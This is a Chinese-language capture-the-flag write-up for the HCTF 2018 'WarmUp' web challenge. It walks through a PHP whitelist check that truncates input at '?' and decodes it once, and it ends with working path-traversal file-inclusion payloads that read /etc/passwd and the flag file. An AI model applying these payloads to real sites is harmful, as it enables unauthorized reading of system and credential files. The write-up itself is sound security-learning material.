HCTF 2018--WarmUp
# 审计
打开源码,跟着提示到source.php页面。一个文件包含的漏洞,页面源码大致内容是传参$file,它的值只能是白名单文件source.php,hint.php
在题目里出现了陌生的函数,没有耐心看下去。如果清楚这些函数在做什么就好做了
提示
in_array($a,$array);,检查变量$a
是否在数组$array
里
mb_substr($text, 5, 2); ,从字符串$text
的第5个字符开始,截取2个字符
mb_strpos($abc,$data); PHP 中的一个多字节字符串函数,用于查找一个字符串参数$abc
在另一个字符串参数$data
中第一次出现的位置。
# 分析
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
2
3
4
5
6
7
8
9
定义白名单,先检查是否传递参数,传递的参数类型,再检查参数的值是否在白名单里。在白名单直接结束并返回true,不在白名单继续往下走
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
2
3
4
5
6
7
8
给$page
变量值拼接了一个问号,检查问号第一次出现的位置,截取问号前面的字符串,赋值给新变量,再检查新变量是否在白名单里。(如果原本没有问号,会加上问号获取整个变量值,如果已经有了问号,会截取问号之前的值,检查是否符合)
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
2
3
4
5
6
7
8
9
10
11
第二次机会,给参数url解码一次,添加问号,截取问号之前的值,再进行一次白名单检查,如果截取后,还在白名单里,这个参数他就认了,还不在,那就丢弃这个参数了
总结:两次判断,贴心的补充了一次url解码的情况,判断用户输入错误的情况,增加程序的健壮性导致的漏洞?
# 解题
给参数一个白名单的值,再手动补充一个问号,页面通过判断file值里问号前的值是否是白名单的值来判断是否合法,合法程序就会接受整个参数的值传入include
函数里包含
页面里include $_REQUEST['file'];
存在文件包含漏洞,当前应该在/var/www/html/的目录下,四次../
可以回到根目录回到根目录../../../../
include(hint.php?/../../../../etc/passwd)
把hint.php?
当作一个目录(linux支持目录名含有一些特殊字符)
?file=hint.php?/../../../../etc/passwd
包含flag文件
?file=hint.php?/../../../../ffffllllaaaagggg